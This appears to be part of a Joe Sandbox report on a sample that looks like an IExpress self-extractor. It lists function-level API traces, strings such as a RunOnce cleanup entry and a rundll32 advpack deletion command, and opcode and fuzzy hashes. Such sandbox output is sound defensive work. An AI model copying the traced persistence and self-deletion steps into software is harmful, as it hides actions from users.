Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user\AppData\Local\Temp\IXP003.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-2364573593
Opcode ID: 595a2479809af0540f425c3fa33287aafb45645d824731708d93c8c66396ec89
Instruction ID: 32b9cac927fce7e46df083425bd90543a47de15995154c616e1964627cb98f5d
Opcode Fuzzy Hash: 595a2479809af0540f425c3fa33287aafb45645d824731708d93c8c66396ec89
Instruction Fuzzy Hash: 6D41FB31A102059AEB3DBB79EC44656B7A8FFC4754F000279E971D218DEBB4C9C1CB65

Uniqueness

Uniqueness Score: -1.00%

Function 01132390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(?,01138A3A,011311F4,01138A3A,00000000,?,?), ref: 011323F6
lstrcmpA.KERNEL32(?,011311F8), ref: 01132427
lstrcmpA.KERNEL32(?,011311FC), ref: 0113243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 01132495
DeleteFileA.KERNEL32(?), ref: 011324A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 011324AF
FindClose.KERNELBASE(00000000), ref: 011324BE
RemoveDirectoryA.KERNELBASE(01138A3A), ref: 011324C5

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 9d884ce4d24388a7ed2a880814bc7c1e1136aabdc73eb61d954202c16067c651
Instruction ID: b82b5a2706b50b8242c356ebc437a39b57befbb077e5b1ee78788bc43d2882e2
Opcode Fuzzy Hash: 9d884ce4d24388a7ed2a880814bc7c1e1136aabdc73eb61d954202c16067c651
Instruction Fuzzy Hash: 7F319071604741ABD338EBA8DC88AEBB7ECAFD4305F04493DA595C3288EB74954DC752

Uniqueness

Uniqueness Score: -1.00%

Function 01132BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,01136BB0,01130000,00000000,00000002,0000000A), ref: 01132C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,01136BB0,01130000,00000000,00000002,0000000A), ref: 01132C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 01132C28
CloseHandle.KERNEL32(00000000,?,?,01136BB0,01130000,00000000,00000002,0000000A), ref: 01132C98

Strings

Kernel32.dll, xrefs: 01132C13
HeapSetInformation, xrefs: 01132C22

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: bac1e51e87c0210ca226a9090fddde71bf82d093fd729c912dda0d735286b858
Instruction ID: cd9c2e4eaef90b1ce540220a0b5001a217035b3bc8009659e41f4685fb1866dd
Opcode Fuzzy Hash: bac1e51e87c0210ca226a9090fddde71bf82d093fd729c912dda0d735286b858
Instruction Fuzzy Hash: D611A971200305ABE73C7BF9A888A673F5D9FC47A4B140139FA95E324CDB71D88187A1

Uniqueness

Uniqueness Score: -1.00%

Function 01136F40 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006EF0), ref: 01136F45

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 2b53c8d9e20fe3d487831da29775daa8617ee52c71d1cf14d7f68dbf49cf40d5
Instruction ID: f97e5ba5c5e2b38b1ac712960e580b9b41f600992c4481c57be0154e26353bd8
Opcode Fuzzy Hash: 2b53c8d9e20fe3d487831da29775daa8617ee52c71d1cf14d7f68dbf49cf40d5
Instruction Fuzzy Hash: 2C90026025111057D6285B71A91D51579915E8D5437825474A061C944CDB6141889621

Uniqueness

Uniqueness Score: -1.00%

Function 0113202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 01132050
memset.MSVCRT ref: 0113205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 0113208C

Part of subcall function 0113171E: _vsnprintf.MSVCRT ref: 01131750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup3,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011320C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011320EA
GetSystemDirectoryA.KERNEL32 ref: 01132103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 01132122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 01132134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 01132144
GetSystemDirectoryA.KERNEL32 ref: 0113215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 0113218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011321C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011321E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup3,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 0113223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 01132249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 01132250

Strings

DelNodeRunDLL32, xrefs: 0113212E
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 011321F6
wextract_cleanup3, xrefs: 011320A5, 011320BE, 011320F0, 01132232
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 01132082
C:\Users\user\AppData\Local\Temp\IXP003.TMP\, xrefs: 011321A8, 01132204
advpack.dll, xrefs: 01132109
%s /D:%s, xrefs: 011321FF, 01132210
wextract_cleanup%d, xrefs: 0113209E

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP003.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup3
API String ID: 178549006-1916111597
Opcode ID: 73c50f13db57a6f37fe2e2a651b05a54ea832fdb359cf6f1826d3d59b437cf17
Instruction ID: 2e92de6d509bcfe90198705b47f6de2e8958839d13f12c07ac3310523ac7718b
Opcode Fuzzy Hash: 73c50f13db57a6f37fe2e2a651b05a54ea832fdb359cf6f1826d3d59b437cf17
Instruction Fuzzy Hash: 1551D875A00214ABD73DAB64DC48FEBBB6CEF94700F0042A8F999E714DDB719A858B50

Uniqueness

Uniqueness Score: -1.00%

Function 011355A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0113468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011346A0
Part of subcall function 0113468F: SizeofResource.KERNEL32(00000000,00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346A9
Part of subcall function 0113468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011346C3
Part of subcall function 0113468F: LoadResource.KERNEL32(00000000,00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346CC
Part of subcall function 0113468F: LockResource.KERNEL32(00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346D3
Part of subcall function 0113468F: memcpy_s.MSVCRT ref: 011346E5
Part of subcall function 0113468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011346EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 011355CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 01135638
LocalFree.KERNEL32(00000000), ref: 0113564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 01135620

Part of subcall function 011344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01134518
Part of subcall function 011344B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 01134554

Part of subcall function 01136285: GetLastError.KERNEL32(01135BBC), ref: 01136285

GetTempPathA.KERNELBASE(00000104,C:\Users\user\AppData\Local\Temp\IXP003.TMP\), ref: 011356B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 0113571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 01135737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 011357CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 011357EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 01135802

Part of subcall function 01132630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 01132654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 01135830

Part of subcall function 01136517: FindResourceA.KERNEL32(01130000,000007D6,00000005), ref: 0113652A
Part of subcall function 01136517: LoadResource.KERNEL32(01130000,00000000,?,?,01132EE8,00000000,011319E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 01136538
Part of subcall function 01136517: DialogBoxIndirectParamA.USER32(01130000,00000000,00000547,011319E0,00000000), ref: 01136557
Part of subcall function 01136517: FreeResource.KERNEL32(00000000,?,?,01132EE8,00000000,011319E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 01136560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 01135878

Part of subcall function 0113597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 011359A8
Part of subcall function 0113597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 011359AF

Strings

A:\, xrefs: 011356F4
<None>, xrefs: 01135632
RUNPROGRAM, xrefs: 011355BD, 01135600
msdownld.tmp, xrefs: 011357D3
C:\Users\user\AppData\Local\Temp\IXP003.TMP\, xrefs: 011356AE, 011356B3, 0113583D
Z, xrefs: 0113570A

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP003.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-1782941137
Opcode ID: d6886393b7a8a76936aaa5e9ad71f47571fca3527e29f62bed59d7009213fa25
Instruction ID: 648caa71bfa65f43dfceadc3949a54a10a1da6725fe2082e8ee0904e5700b6ae
Opcode Fuzzy Hash: d6886393b7a8a76936aaa5e9ad71f47571fca3527e29f62bed59d7009213fa25
Instruction Fuzzy Hash: 76812EB0A04105AADBBD9A399D44BFA766F9FE0754F4400B5E5D6D318CEF708DC18B50

Uniqueness

Uniqueness Score: -1.00%

Function 0113597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 011359A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 011359AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 01135A13
MulDiv.KERNEL32(?,?,00000400), ref: 01135A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 01135A64
memset.MSVCRT ref: 01135A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 01135A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 01135AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 01135BFC

Part of subcall function 011344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01134518
Part of subcall function 011344B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 01134554

Part of subcall function 01136285: GetLastError.KERNEL32(01135BBC), ref: 01136285

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: 235735ac2dab8b229b256e1b1a4d17d7886e776bc7dc7678acc0b1421e156ff3
Instruction ID: 43be3746f755fed0b7cf1f94eb07c1d414d53532801a0d31ff2e3485e6234878
Opcode Fuzzy Hash: 235735ac2dab8b229b256e1b1a4d17d7886e776bc7dc7678acc0b1421e156ff3
Instruction Fuzzy Hash: BD71A3B190020CAFEB6D9B24DC84FFA77AEEB88744F0441A9E555D314CDB709E858F60

Uniqueness

Uniqueness Score: -1.00%

Function 01134FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0113468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011346A0
Part of subcall function 0113468F: SizeofResource.KERNEL32(00000000,00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346A9
Part of subcall function 0113468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011346C3
Part of subcall function 0113468F: LoadResource.KERNEL32(00000000,00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346CC
Part of subcall function 0113468F: LockResource.KERNEL32(00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346D3
Part of subcall function 0113468F: memcpy_s.MSVCRT ref: 011346E5
Part of subcall function 0113468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011346EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 01134FFE
LoadResource.KERNEL32(00000000,00000000), ref: 01135006
LockResource.KERNEL32(00000000), ref: 0113500D
GetDlgItem.USER32(00000000,00000842), ref: 01135030
ShowWindow.USER32(00000000), ref: 01135037
GetDlgItem.USER32(00000841,00000005), ref: 0113504A
ShowWindow.USER32(00000000), ref: 01135051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 01135111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 01135159

Strings

CABINET, xrefs: 01134FE6, 01134FF7
*MEMCAB, xrefs: 011350C7

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 73587eff0cb3bc157dad8b85e93899d2f69d6ff95d2eb1778d123d3f21114007
Instruction ID: 8f414eb72322db0e897551e1cf31a70f1ae60de7862ca71973d91ac85bec0ab5
Opcode Fuzzy Hash: 73587eff0cb3bc157dad8b85e93899d2f69d6ff95d2eb1778d123d3f21114007
Instruction Fuzzy Hash: A831B3B0740305BBE73C5B66AD89F677AADAB84B59F040138F951F358DD7E58C808B60

Uniqueness

Uniqueness Score: -1.00%

Function 011353A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0113171E: _vsnprintf.MSVCRT ref: 01131750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 011353FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 01135402
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP003.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 0113541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 0113542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 01135434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 01135452

Strings

IXP, xrefs: 01135419
C:\Users\user\AppData\Local\Temp\IXP003.TMP\, xrefs: 011353B7, 011353E1, 0113541E
IXP%03d.TMP, xrefs: 011353C0

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP003.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-390439592
Opcode ID: e66406a7736581bc8e433046a6ea12fb6ba906bbb4003e39039127fd60ef8ce4
Instruction ID: 28c68a41430645307c399141a4b771c6b6a4e04442e4cc4934a5015be176b5bc
Opcode Fuzzy Hash: e66406a7736581bc8e433046a6ea12fb6ba906bbb4003e39039127fd60ef8ce4
Instruction Fuzzy Hash: 6311C47170421477E32C9B26AC48FAF7A6EEFD5725F000139F656D318CDB748A8287A1

Uniqueness

Uniqueness Score: -1.00%

Function 01135467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 011354C9
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 0113553D
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 0113556F

Part of subcall function 011353A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 011353FB
Part of subcall function 011353A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 01135402
Part of subcall function 011353A1: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP003.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 0113541F
Part of subcall function 011353A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 0113542B
Part of subcall function 011353A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,00000000), ref: 01135434

Strings

ppc, xrefs: 011354E9
alpha, xrefs: 011354F0
mips, xrefs: 011354F7
C:\Users\user\AppData\Local\Temp\IXP003.TMP\, xrefs: 0113547D, 01135481, 011354AB, 0113551C, 0113553C, 01135568
i386, xrefs: 011354FE

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP003.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-994843058
Opcode ID: d91c2b9db976c2aa500ecbe15f4dcf4eef7e20d6083f84daa6039d5a3e390a19
Instruction ID: 04b33e20a88b737c2b98f273fca4765939bc0c74bdc2a6abcb11b18de03cc5dc
Opcode Fuzzy Hash: d91c2b9db976c2aa500ecbe15f4dcf4eef7e20d6083f84daa6039d5a3e390a19
Instruction Fuzzy Hash: 6D312771B002156BDB6C9F2D9C44A7EBF9BABD1A54B05013AE906D318CDBB0DB41C791

Uniqueness

Uniqueness Score: -1.00%

Function 0113256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000000,01134096,01134096,?,01131ED3,00000001,00000000,?,?,01134137,?), ref: 011325B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,01134096,?,01131ED3,00000001,00000000,?,?,01134137,?,01134096), ref: 011325CB
RegCloseKey.KERNELBASE(?,?,01131ED3,00000001,00000000,?,?,01134137,?,01134096), ref: 011325DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000000,01134096,01134096,?,01131ED3,00000001,00000000,?,?,01134137,?), ref: 011325FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,01134096,00000000,00000000,00000000,00000000,?,01131ED3,00000001,00000000), ref: 0113261A

Strings

System\CurrentControlSet\Control\Session Manager, xrefs: 011325A8
System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 011325F5
PendingFileRenameOperations, xrefs: 011325C3

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: 815663870633e01378d536ceab2f3f6352435a43d73db14712c5f34886434a95
Instruction ID: aad020b8b107a5e08793ece28428d9ec0c5d14c828e9dcea6e18345d74ea40a9
Opcode Fuzzy Hash: 815663870633e01378d536ceab2f3f6352435a43d73db14712c5f34886434a95
Instruction Fuzzy Hash: 3C11C174942228BBDB38EB969C0DDFBBF7CEF816A1F004065B849E3008D7304B44E6A0

Uniqueness

Uniqueness Score: -1.00%

Function 01136A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01137155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 01137182
Part of subcall function 01137155: GetCurrentProcessId.KERNEL32 ref: 01137191
Part of subcall function 01137155: GetCurrentThreadId.KERNEL32 ref: 0113719A
Part of subcall function 01137155: GetTickCount.KERNEL32 ref: 011371A3
Part of subcall function 01137155: QueryPerformanceCounter.KERNEL32(?), ref: 011371B8

GetStartupInfoW.KERNEL32(?,011372B8,00000058), ref: 01136A7F
Sleep.KERNEL32(000003E8), ref: 01136AB4
_amsg_exit.MSVCRT ref: 01136AC9
_initterm.MSVCRT ref: 01136B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 01136B49
exit.KERNELBASE ref: 01136BBF
_ismbblead.MSVCRT ref: 01136BDA

Memory Dump Source

